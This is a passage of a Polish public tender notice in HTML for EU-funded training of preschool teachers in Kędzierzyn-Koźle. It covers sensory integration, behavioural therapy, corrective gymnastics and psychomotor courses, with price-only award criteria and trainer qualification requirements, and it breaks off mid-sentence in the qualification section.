w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 8</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> CZĘŚĆ NR 8<br/>Kursy i szkolenia z pedagogiki specjalnej – INTEGRACYJNE ( Sensoryka). <br/>Szkolenia w ramach tej części: <br/>1.	Integracja sensoryczna stopień I oraz II - szkolenie certyfikowane nadające uprawnienia, szkolenie w formie łączonej (teoria on-line , część warsztatowa – stacjonarnie);<br/>2.	Kurs z zakresu elementarnej integracji sensorycznej w pracy nauczyciela szkolenie on-line.<br/><br/>1.	Przedmiotem zamówienia jest organizacja szkoleń podnoszących umiejętności nauczycieli przedszkolnych oraz ich wiedzę w zakresie prowadzenia procesu nauczania dzieci, w tym ze specjalnymi potrzebami edukacyjnymi. Zamówienie realizowane jest w ramach projektu pod nazwą „Podniesienie jakości edukacji przedszkolnej w Kędzierzynie-Koźlu. Etap II” współfinansowanego ze środków Europejskiego Funduszu Społecznego w ramach Regionalnego Programu Operacyjnego Województwa Opolskiego 2014-2020. <br/>2.	Szkolenia zgrupowane są następujących obszarach tematycznych: logopedycznym, terapeutycznym, integracyjnym oraz gimnastyki korekcyjnej i psychomotoryki<br/>3.	Szkolenia będą odbywać się w formie zajęć online oraz stacjonarnie (w tym przypadku przy zachowaniu wszystkich nałożonych prawem obowiązujących zaleceń sanitarno-epidemiologicznych) lub w formie łączonej. <br/>4.	W przypadku szkoleń odbywających się on-line Wykonawca zorganizuje je na platformie edukacyjnej, do której uczestnik szkolenia będzie miał bezpłatny dostęp. W przypadku szkoleń odbywających się w systemie stacjonarnym Wykonawca zobowiązany jest zabezpieczyć odpowiednią salę szkoleniową w Kędzierzynie-Koźlu lub dla grup liczących od 1 do 2 uczestników w odległości nie większej niż 150 km od siedziby Zamawiającego. Wykonawca winien w takiej sytuacji wyposażyć uczestników w niezbędne środki ochrony osobistej oraz zadbać o odpowiednie dostosowanie sali do wymagań sanitarnych.<br/>5.	Szkolenia jednodniowe mogą być prowadzone od poniedziałku do piątku w godzinach 16.00 - 19.30.<br/>Szkolenia kilkudniowe mogą być prowadzone w systemie całodziennym w tygodniu (np. od 9.00 do 16.00) jedynie w sytuacji, gdy na szkolenie jest zgłoszony 1 nauczyciel z przedszkola. Jeżeli zgłoszonych jest więcej osób to szkolenie może się odbyć dopiero po godzinie 16.00.<br/>Szkolenia dwudniowe mogą rozpoczynać się w tygodniu po 16.00 i kończyć w dzień wolny od pracy ( np. piątek od godz. 16:00 oraz w sobotę 9:00 – 16:00)<br/>6.	Uczestnicy mogą brać udział w kilku częściach szkolenia. <br/>7.	Wykonawca zobowiązany jest ustalić szczegółowo termin szkolenia (daty szkoleń) z dyrektorem placówki z odpowiednim wyprzedzeniem.<br/>8.	Wykonawca wyposaży uczestników szkoleń w materiały/pomoce naukowe przydatne w prowadzonych zajęciach. Każdy z uczestników otrzyma po zakończeniu zajęć świadectwo (certyfikat, zaświadczenie) potwierdzające nabycie kompetencji/ ukończenie szkolenia. <br/>9.	Każda złożona „Oferta cenowa” musi zawierać całkowitą ryczałtową cenę brutto wykonania całości danej części przedmiotu zamówienia (z wskazaniem kwot za poszczególne szkolenia w ramach danej części) obejmującą: wynagrodzenie trenera, opracowanie programu szkolenia, udostępnienie platformy e-learningowej, wynajęcie sali (jeżeli dotyczy), koszt przygotowania/udostępnienia materiałów szkoleniowych, wydanie certyfikatów, zaświadczeń lub dyplomów ukończenia szkolenia. <br/>10.	Szczegółowy opis przedmiotu szkoleń, liczby godzin, liczby osób nimi objętymi, ujęty został w załączniku nr 6: Opis Przedmiotu Zamówienia. <br/>11.	Uwaga: Zakresy szkoleń zostały przygotowane poglądowo. Mogą one ulec modyfikacjom wynikającym z różnych poziomów wiedzy uczestników danego szkolenia lub potrzeby zgłoszonej w trakcie szkolenia (np. dot. poszerzania konkretnego zagadnienia tematycznego lub odstąpienia od jego omówienia). Wykonawca przez rozpoczęciem realizacji usługi przygotuje program szkolenia w oparciu o zadany temat i wskazaną liczbę godzin dydaktycznych, który stanowił będzie załącznik do umowy. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">80000000-4 - Usługi edukacyjne i szkoleniowe</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">80110000-8 - Usługi szkolnictwa przedszkolnego</p> <p class="mb-0">80420000-4 - Usługi e-learning</p> <p class="mb-0">80500000-9 - Usługi szkoleniowe</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2022-06-30</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Wyłącznie kryterium ceny </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">100</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 9</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Kursy i szkolenia z pedagogiki specjalnej – INTEGRACYJNE (Behawioralne). <br/>Szkolenia w ramach tej części: <br/>1.	Terapia behawioralna – stopień I, II i III szkolenie on-line.<br/><br/>1.	Przedmiotem zamówienia jest organizacja szkoleń podnoszących umiejętności nauczycieli przedszkolnych oraz ich wiedzę w zakresie prowadzenia procesu nauczania dzieci, w tym ze specjalnymi potrzebami edukacyjnymi. Zamówienie realizowane jest w ramach projektu pod nazwą „Podniesienie jakości edukacji przedszkolnej w Kędzierzynie-Koźlu. Etap II” współfinansowanego ze środków Europejskiego Funduszu Społecznego w ramach Regionalnego Programu Operacyjnego Województwa Opolskiego 2014-2020. <br/>2.	Szkolenia zgrupowane są następujących obszarach tematycznych: logopedycznym, terapeutycznym, integracyjnym oraz gimnastyki korekcyjnej i psychomotoryki<br/>3.	Szkolenia będą odbywać się w formie zajęć online oraz stacjonarnie (w tym przypadku przy zachowaniu wszystkich nałożonych prawem obowiązujących zaleceń sanitarno-epidemiologicznych) lub w formie łączonej. <br/>4.	W przypadku szkoleń odbywających się on-line Wykonawca zorganizuje je na platformie edukacyjnej, do której uczestnik szkolenia będzie miał bezpłatny dostęp. W przypadku szkoleń odbywających się w systemie stacjonarnym Wykonawca zobowiązany jest zabezpieczyć odpowiednią salę szkoleniową w Kędzierzynie-Koźlu lub dla grup liczących od 1 do 2 uczestników w odległości nie większej niż 150 km od siedziby Zamawiającego. Wykonawca winien w takiej sytuacji wyposażyć uczestników w niezbędne środki ochrony osobistej oraz zadbać o odpowiednie dostosowanie sali do wymagań sanitarnych.<br/>5.	Szkolenia jednodniowe mogą być prowadzone od poniedziałku do piątku w godzinach 16.00 - 19.30.<br/>Szkolenia kilkudniowe mogą być prowadzone w systemie całodziennym w tygodniu (np. od 9.00 do 16.00) jedynie w sytuacji, gdy na szkolenie jest zgłoszony 1 nauczyciel z przedszkola. Jeżeli zgłoszonych jest więcej osób to szkolenie może się odbyć dopiero po godzinie 16.00.<br/>Szkolenia dwudniowe mogą rozpoczynać się w tygodniu po 16.00 i kończyć w dzień wolny od pracy ( np. piątek od godz. 16:00 oraz w sobotę 9:00 – 16:00)<br/>6.	Uczestnicy mogą brać udział w kilku częściach szkolenia. <br/>7.	Wykonawca zobowiązany jest ustalić szczegółowo termin szkolenia (daty szkoleń) z dyrektorem placówki z odpowiednim wyprzedzeniem.<br/>8.	Wykonawca wyposaży uczestników szkoleń w materiały/pomoce naukowe przydatne w prowadzonych zajęciach. Każdy z uczestników otrzyma po zakończeniu zajęć świadectwo (certyfikat, zaświadczenie) potwierdzające nabycie kompetencji/ ukończenie szkolenia. <br/>9.	Każda złożona „Oferta cenowa” musi zawierać całkowitą ryczałtową cenę brutto wykonania całości danej części przedmiotu zamówienia (z wskazaniem kwot za poszczególne szkolenia w ramach danej części) obejmującą: wynagrodzenie trenera, opracowanie programu szkolenia, udostępnienie platformy e-learningowej, wynajęcie sali (jeżeli dotyczy), koszt przygotowania/udostępnienia materiałów szkoleniowych, wydanie certyfikatów, zaświadczeń lub dyplomów ukończenia szkolenia. <br/>10.	Szczegółowy opis przedmiotu szkoleń, liczby godzin, liczby osób nimi objętymi, ujęty został w załączniku nr 6: Opis Przedmiotu Zamówienia. <br/>11.	Uwaga: Zakresy szkoleń zostały przygotowane poglądowo. Mogą one ulec modyfikacjom wynikającym z różnych poziomów wiedzy uczestników danego szkolenia lub potrzeby zgłoszonej w trakcie szkolenia (np. dot. poszerzania konkretnego zagadnienia tematycznego lub odstąpienia od jego omówienia). Wykonawca przez rozpoczęciem realizacji usługi przygotuje program szkolenia w oparciu o zadany temat i wskazaną liczbę godzin dydaktycznych, który stanowił będzie załącznik do umowy. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">80000000-4 - Usługi edukacyjne i szkoleniowe</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">80110000-8 - Usługi szkolnictwa przedszkolnego</p> <p class="mb-0">80420000-4 - Usługi e-learning</p> <p class="mb-0">80500000-9 - Usługi szkoleniowe</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2022-06-30</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Wyłącznie kryterium ceny </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">100</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 10</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> CZĘŚĆ NR 10<br/>Kursy i szkolenia z zakresu GIMNASTYKI KOREKCYJNEJ. <br/>Szkolenia w ramach tej części: <br/>1.	Gimnastyka korekcyjna, szkolenie stacjonarne;<br/>2.	Instruktor gimnastyki korekcyjnej - szkolenie certyfikowane nadające uprawnienia, szkolenie stacjonarne.<br/><br/><br/>1.	Przedmiotem zamówienia jest organizacja szkoleń podnoszących umiejętności nauczycieli przedszkolnych oraz ich wiedzę w zakresie prowadzenia procesu nauczania dzieci, w tym ze specjalnymi potrzebami edukacyjnymi. Zamówienie realizowane jest w ramach projektu pod nazwą „Podniesienie jakości edukacji przedszkolnej w Kędzierzynie-Koźlu. Etap II” współfinansowanego ze środków Europejskiego Funduszu Społecznego w ramach Regionalnego Programu Operacyjnego Województwa Opolskiego 2014-2020. <br/>2.	Szkolenia zgrupowane są następujących obszarach tematycznych: logopedycznym, terapeutycznym, integracyjnym oraz gimnastyki korekcyjnej i psychomotoryki<br/>3.	Szkolenia będą odbywać się w formie zajęć online oraz stacjonarnie (w tym przypadku przy zachowaniu wszystkich nałożonych prawem obowiązujących zaleceń sanitarno-epidemiologicznych) lub w formie łączonej. <br/>4.	W przypadku szkoleń odbywających się on-line Wykonawca zorganizuje je na platformie edukacyjnej, do której uczestnik szkolenia będzie miał bezpłatny dostęp. W przypadku szkoleń odbywających się w systemie stacjonarnym Wykonawca zobowiązany jest zabezpieczyć odpowiednią salę szkoleniową w Kędzierzynie-Koźlu lub dla grup liczących od 1 do 2 uczestników w odległości nie większej niż 150 km od siedziby Zamawiającego. Wykonawca winien w takiej sytuacji wyposażyć uczestników w niezbędne środki ochrony osobistej oraz zadbać o odpowiednie dostosowanie sali do wymagań sanitarnych.<br/>5.	Szkolenia jednodniowe mogą być prowadzone od poniedziałku do piątku w godzinach 16.00 - 19.30.<br/>Szkolenia kilkudniowe mogą być prowadzone w systemie całodziennym w tygodniu (np. od 9.00 do 16.00) jedynie w sytuacji, gdy na szkolenie jest zgłoszony 1 nauczyciel z przedszkola. Jeżeli zgłoszonych jest więcej osób to szkolenie może się odbyć dopiero po godzinie 16.00.<br/>Szkolenia dwudniowe mogą rozpoczynać się w tygodniu po 16.00 i kończyć w dzień wolny od pracy ( np. piątek od godz. 16:00 oraz w sobotę 9:00 – 16:00)<br/>6.	Uczestnicy mogą brać udział w kilku częściach szkolenia. <br/>7.	Wykonawca zobowiązany jest ustalić szczegółowo termin szkolenia (daty szkoleń) z dyrektorem pla-cówki z odpowiednim wyprzedzeniem.<br/>8.	Wykonawca wyposaży uczestników szkoleń w materiały/pomoce naukowe przydatne w prowadzonych zajęciach. Każdy z uczestników otrzyma po zakończeniu zajęć świadectwo (certyfikat, zaświadczenie) potwierdzające nabycie kompetencji/ ukończenie szkolenia. <br/>9.	Każda złożona „Oferta cenowa” musi zawierać całkowitą ryczałtową cenę brutto wykonania całości danej części przedmiotu zamówienia (z wskazaniem kwot za poszczególne szkolenia w ramach danej części) obejmującą: wynagrodzenie trenera, opracowanie programu szkolenia, udostępnienie platformy e-learningowej, wynajęcie sali (jeżeli dotyczy), koszt przygotowania/udostępnienia materiałów szkoleniowych, wydanie certyfikatów, zaświadczeń lub dyplomów ukończenia szkolenia. <br/>10.	Szczegółowy opis przedmiotu szkoleń, liczby godzin, liczby osób nimi objętymi, ujęty został w załączniku nr 6: Opis Przedmiotu Zamówienia. <br/>11.	Uwaga: Zakresy szkoleń zostały przygotowane poglądowo. Mogą one ulec modyfikacjom wynikającym z różnych poziomów wiedzy uczestników danego szkolenia lub potrzeby zgłoszonej w trakcie szkolenia (np. dot. poszerzania konkretnego zagadnienia tematycznego lub odstąpienia od jego omówienia). Wykonawca przez rozpoczęciem realizacji usługi przygotuje program szkolenia w oparciu o zadany temat i wskazaną liczbę godzin dydaktycznych, który stanowił będzie załącznik do umowy. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">80000000-4 - Usługi edukacyjne i szkoleniowe</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">80110000-8 - Usługi szkolnictwa przedszkolnego</p> <p class="mb-0">80420000-4 - Usługi e-learning</p> <p class="mb-0">80500000-9 - Usługi szkoleniowe</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2022-06-30</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Wyłącznie kryterium ceny </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">100</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 11</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> CZĘŚĆ NR 11<br/>Kursy i szkolenia z zakresu PSYCHOMOTORYKI.<br/>Szkolenia w ramach tej części:<br/>1.	Psychomotoryka - kurs całościowy - szkolenie certyfikowane nadające uprawnienia, szkolenie stacjonarne.<br/><br/>1.	Przedmiotem zamówienia jest organizacja szkoleń podnoszących umiejętności nauczycieli przedszkolnych oraz ich wiedzę w zakresie prowadzenia procesu nauczania dzieci, w tym ze specjalnymi potrzebami edukacyjnymi. Zamówienie realizowane jest w ramach projektu pod nazwą „Podniesienie jakości edukacji przedszkolnej w Kędzierzynie-Koźlu. Etap II” współfinansowanego ze środków Europejskiego Funduszu Społecznego w ramach Regionalnego Programu Operacyjnego Województwa Opolskiego 2014-2020. <br/>2.	Szkolenia zgrupowane są następujących obszarach tematycznych: logopedycznym, terapeutycznym, integracyjnym oraz gimnastyki korekcyjnej i psychomotoryki<br/>3.	Szkolenia będą odbywać się w formie zajęć online oraz stacjonarnie (w tym przypadku przy zachowaniu wszystkich nałożonych prawem obowiązujących zaleceń sanitarno-epidemiologicznych) lub w formie łączonej. <br/>4.	W przypadku szkoleń odbywających się on-line Wykonawca zorganizuje je na platformie edukacyjnej, do której uczestnik szkolenia będzie miał bezpłatny dostęp. W przypadku szkoleń odbywających się w systemie stacjonarnym Wykonawca zobowiązany jest zabezpieczyć odpowiednią salę szkoleniową w Kędzierzynie-Koźlu lub dla grup liczących od 1 do 2 uczestników w odległości nie większej niż 150 km od siedziby Zamawiającego. Wykonawca winien w takiej sytuacji wyposażyć uczestników w niezbędne środki ochrony osobistej oraz zadbać o odpowiednie dostosowanie sali do wymagań sanitarnych.<br/>5.	Szkolenia jednodniowe mogą być prowadzone od poniedziałku do piątku w godzinach 16.00 - 19.30.<br/>Szkolenia kilkudniowe mogą być prowadzone w systemie całodziennym w tygodniu (np. od 9.00 do 16.00) jedynie w sytuacji, gdy na szkolenie jest zgłoszony 1 nauczyciel z przedszkola. Jeżeli zgłoszonych jest więcej osób to szkolenie może się odbyć dopiero po godzinie 16.00.<br/>Szkolenia dwudniowe mogą rozpoczynać się w tygodniu po 16.00 i kończyć w dzień wolny od pracy ( np. piątek od godz. 16:00 oraz w sobotę 9:00 – 16:00)<br/>6.	Uczestnicy mogą brać udział w kilku częściach szkolenia. <br/>7.	Wykonawca zobowiązany jest ustalić szczegółowo termin szkolenia (daty szkoleń) z dyrektorem placówki z odpowiednim wyprzedzeniem.<br/>8.	Wykonawca wyposaży uczestników szkoleń w materiały/pomoce naukowe przydatne w prowadzonych zajęciach. Każdy z uczestników otrzyma po zakończeniu zajęć świadectwo (certyfikat, zaświadczenie) potwierdzające nabycie kompetencji/ ukończenie szkolenia. <br/>9.	Każda złożona „Oferta cenowa” musi zawierać całkowitą ryczałtową cenę brutto wykonania całości danej części przedmiotu zamówienia (z wskazaniem kwot za poszczególne szkolenia w ramach danej części) obejmującą: wynagrodzenie trenera, opracowanie programu szkolenia, udostępnienie platformy e-learningowej, wynajęcie sali (jeżeli dotyczy), koszt przygotowania/udostępnienia materiałów szkoleniowych, wydanie certyfikatów, zaświadczeń lub dyplomów ukończenia szkolenia. <br/>10.	Szczegółowy opis przedmiotu szkoleń, liczby godzin, liczby osób nimi objętymi, ujęty został w załączniku nr 6: Opis Przedmiotu Zamówienia. <br/>11.	Uwaga: Zakresy szkoleń zostały przygotowane poglądowo. Mogą one ulec modyfikacjom wynikającym z różnych poziomów wiedzy uczestników danego szkolenia lub potrzeby zgłoszonej w trakcie szkolenia (np. dot. poszerzania konkretnego zagadnienia tematycznego lub odstąpienia od jego omówienia). Wykonawca przez rozpoczęciem realizacji usługi przygotuje program szkolenia w oparciu o zadany temat i wskazaną liczbę godzin dydaktycznych, który stanowił będzie załącznik do umowy. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">80000000-4 - Usługi edukacyjne i szkoleniowe</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">80110000-8 - Usługi szkolnictwa przedszkolnego</p> <p class="mb-0">80420000-4 - Usługi e-learning</p> <p class="mb-0">80500000-9 - Usługi szkoleniowe</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2022-06-30</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Wyłącznie kryterium ceny </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">100</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA V - KWALIFIKACJA WYKONAWCÓW</h2> <h3 class="mb-0">5.1.) Zamawiający przewiduje fakultatywne podstawy wykluczenia: <span class="normal">Tak</span></h3> <h3 class="mb-0">5.2.) Fakultatywne podstawy wykluczenia: </h3> <p class="mb-0">Art. 109 ust. 1 pkt 4</p> <p class="mb-0">Art. 109 ust. 1 pkt 8</p> <h3 class="mb-0">5.3.) Warunki udziału w postępowaniu: <span class="normal">Tak</span></h3> <h3 class="mb-0">5.4.) Nazwa i opis warunków udziału w postępowaniu.</h3> Zdolność techniczna lub zawodowa<br/>DLA CZĘŚCI nr 1: Kursy i szkolenia z pedagogiki specjalnej – LOGOPEDYCZNE:<br/>Wykonawca wykaże, iż dysponuje zespołem trenerów (wykładowców) skierowanych do realizacji zamówienia odpowiedzialnych za przeprowadzenie szkolenia, w skład którego wchodzi co najmniej: <br/>1)	Neurologopeda, specjalizujący się w pracy z dziećmi z zaburzeniami m.in. układu nerwowego, mięśniowego, dyzfagią, dyzartrią, SMA, legitymujący się do-świadczeniem w zrealizowaniu co najmniej trzech szkoleń z zakresu wad wymowy,<br/>2)	Neurologopeda, specjalizujący się w pracy z dziećmi z zaburzeniami m.in. układu nerwowego, mięśniowego, dyzfagią, dyzartrią, SMA, legitymujący się do-świadczeniem w zrealizowaniu co najmniej trzech szkoleń z zakresu stymulacji traktu ustno-twarzowego.<br/>Zamawiający dopuszcza pełnienie powyższych funkcji przez jedną osobę pod wa-runkiem spełnienia powyższych wymagań. <br/><br/>DLA CZĘŚCI nr 2: Kursy i szkolenia z pedagogiki specjalnej - TERAPEUTYCZNE (RĘKA).<br/>Wykonawca wykaże, iż dysponuje zespołem trenerów (wykładowców) skierowanych do realizacji zamówienia odpowiedzialnych za przeprowadzenie szkolenia, w skład którego wchodzi co najmniej: <br/>1)	Psycholog lub pedagog lub fizjoterapeuta będący jednocześnie terapeutą Grafomotoryki lub integracji sensorycznej, posiadający doświadczenie w pracy z dziećmi, legitymujący się doświadczeniem w zrealizowaniu co najmniej trzech szkoleń z zakresu Grafomotoryki,<br/>2)	Psycholog lub pedagog lub fizjoterapeuta będący jednocześnie trenerem terapii ręki lub integracji sensorycznej, posiadający doświadczenie w pracy z dziećmi, legitymujący się doświadczeniem w zrealizowaniu co najmniej trzech szkoleń z zakresu Terapii ręki.<br/>Zamawiający nie dopuszcza łączenia powyższych funkcji.<br/><br/>DLA CZĘŚCI nr 3: Kursy i szkolenia z pedagogiki specjalnej - TERAPEUTYCZNE (ARTYSTYCZNE)<br/>Wykonawca wykaże, iż dysponuje zespołem trenerów (wykładowców) skierowanych do realizacji zamówienia odpowiedzialnych za przeprowadzenie szkolenia, w skład którego wchodzi co najmniej:<br/>1)	dyplomowany arteterapeuta posiadający doświadczenie w pracy z dziećmi, legitymujący się doświadczeniem w zrealizowaniu co najmniej trzech szkoleń z zakresu arteterapii,<br/>2)	psycholog lub psychoterapeuta lub pedagog będący jednocześnie trenerem Muzykoterapii posiadający doświadczenie w pracy z dziećmi, legitymują-cy się doświadczeniem w zrealizowaniu co najmniej trzech szkoleń z za-kresu Muzykoterapii,<br/>3)	psycholog lub psychoterapeuta lub pedagog będący jednocześnie trenerem Bajkoterapii posiadający doświadczenie w pracy z dziećmi, legitymujący się doświadczeniem w zrealizowaniu co najmniej trzech szkoleń z zakresu Bajkoterapii.<br/>Zamawiający dopuszcza pełnienie powyższych funkcji przez jedną lub dwie osoby pod warunkiem spełnienia powyższych wymagań. <br/><br/>DLA CZĘŚCI nr 4: Kursy i szkolenia z pedagogiki specjalnej - TERAPEUTYCZNE (ZACHOWANIA SPOŁECZNE )<br/>Wykonawca wykaże, iż dysponuje zespołem trenerów (wykładowców) skierowanych do realizacji zamówienia odpowiedzialnych za przeprowadzenie szkolenia, w skład którego wchodzi co najmniej:<br/>1)	psychologa lub pedagoga lub pedagoga specjalnego posiadającego do-świadczenie w pracy z dziećmi z różnymi dysfunkcjami rozwojowymi jak autyzm czy Zespół Aspergera;<br/>Osoba wchodząca w skład zespołu powinna legitymować się doświadczeniem w zrealizowaniu co najmniej trzech szkoleń z zakresu teorii umysłu lub diagnozy i terapii osób z zaburzeniami rozwojowymi,<br/>2) psycholog lub pedagog lub pedagog specjalny będący licencjonowanym trenerem TUS, posiadający doświadczenie w pracy z dziećmi z różnymi dysfunkcjami rozwojowymi jak autyzm czy Zespół Aspergera;<br/>Osoba wchodząca w skład zespołu powinna legitymować się doświadczeniem w zrealizowaniu co najmniej trzech szkoleń z zakresu Treningu umiejętności społecznych (TUS),<br/>3)	psycholog lub pedagog lub pedagog specjalnych będący instruktorem kinezjologii lub członkiem Polskiego Stowarzyszenia Kinezjologów, posiadający doświadczenie w pracy z dziećmi z różnymi dysfunkcjami rozwojowymi jak autyzm czy Zespół Aspergera;<br/>Osoba wchodząca w skład zespołu powinna legitymować się doświadczeniem w zrealizowaniu co najmniej trzech szkoleń z zakresu Gimnastyki mózgu lub kinezjologii edukacyjnej (wg P.Dennisona).<br/>Zamawiający dopuszcza pełnienie powyższych funkcji przez te same osoby z za-strzeżeniem, że zespół musi składać się z minimum dwóch trenerów (wykładowców) pod warunkiem spełnienia wszystkich powyższych wymagań. <br/><br/>DLA CZĘŚCI nr 5: Kursy i szkolenia z pedagogiki specjalnej- INTEGRACYJNE (DIAGNOZA)<br/>Wykonawca wykaże, iż dysponuje zespołem trenerów (wykładowców) skierowanych do realizacji zamówienia odpowiedzialnych za przeprowadzenie szkolenia, w skład którego wchodzi co najmniej:<br/>1)	psycholog lub pedagog lub pedagog specjalny lub terapeuta posiadający do-świadczenie w pracy z dziećmi z dysfunkcjami rozwojowymi, w szczególności z autyzmem i Zespołem Aspergera, legitymujący się doświadczeniem w zrealizowaniu co najmniej trzech szkoleń z zakresu wczesnej diagnozy i terapii zaburzeń autystycznych;<br/>2)	psycholog lub pedagog lub pedagog specjalny lub terapeuta posiadający do-świadczenie w pracy z dziećmi z dysfunkcjami rozwojowymi, w szczególności z autyzmem i Zespołem Aspergera, legitymujący się doświadczeniem w zrealizowaniu co najmniej trzech szkoleń z zakresu diagnozy Profilu Psychoedukacyjnego PEP – R;<br/>Zamawiający dopuszcza pełnienie powyższych funkcji przez jedną osobę pod wa-runkiem spełnienia powyższych wymagań. <br/><br/>DLA CZĘŚCI nr 6: Kursy i szkolenia z pedagogiki specjalnej- INTEGRACYJNE (SPEKTRUM AUTYZMU/ZESPÓŁ ASPERGERA)<br/>Wykonawca wykaże, iż dysponuje zespołem trenerów (wykładowców) skierowanych do realizacji zamówienia odpowiedzialnych za przeprowadzenie szkolenia, w skład którego wchodzi co najmniej: <br/>1)	psycholog lub pedagog lub pedagog specjalny mający doświadczenie w pracy z dziećmi z dysfunkcjami rozwojowymi, w szczególności z autyzmem i Ze-społem Aspergera,<br/>2)	co najmniej jeden rehabilitant /specjalista rewalidacji osób z autyzmem mający doświadczenie w pracy z dziećmi z dysfunkcjami rozwojowymi, w szczególności z autyzmem i Zespołem Aspergera.<br/>Powyższe osoby (każda z nich) winny legitymować się doświadczeniem w zrealizowaniu co najmniej trzech szkoleń z zakresu zasad i metod pracy rehabilitacyjnej i rewalidacyjnej z osobami z autyzmem i zespołem Aspergera.<br/><br/>DLA CZĘŚCI nr 7: Kursy i szkolenia z pedagogiki specjalnej- INTEGRACYJNE (KOMUNIKACJA)<br/>Wykonawca wykaże, 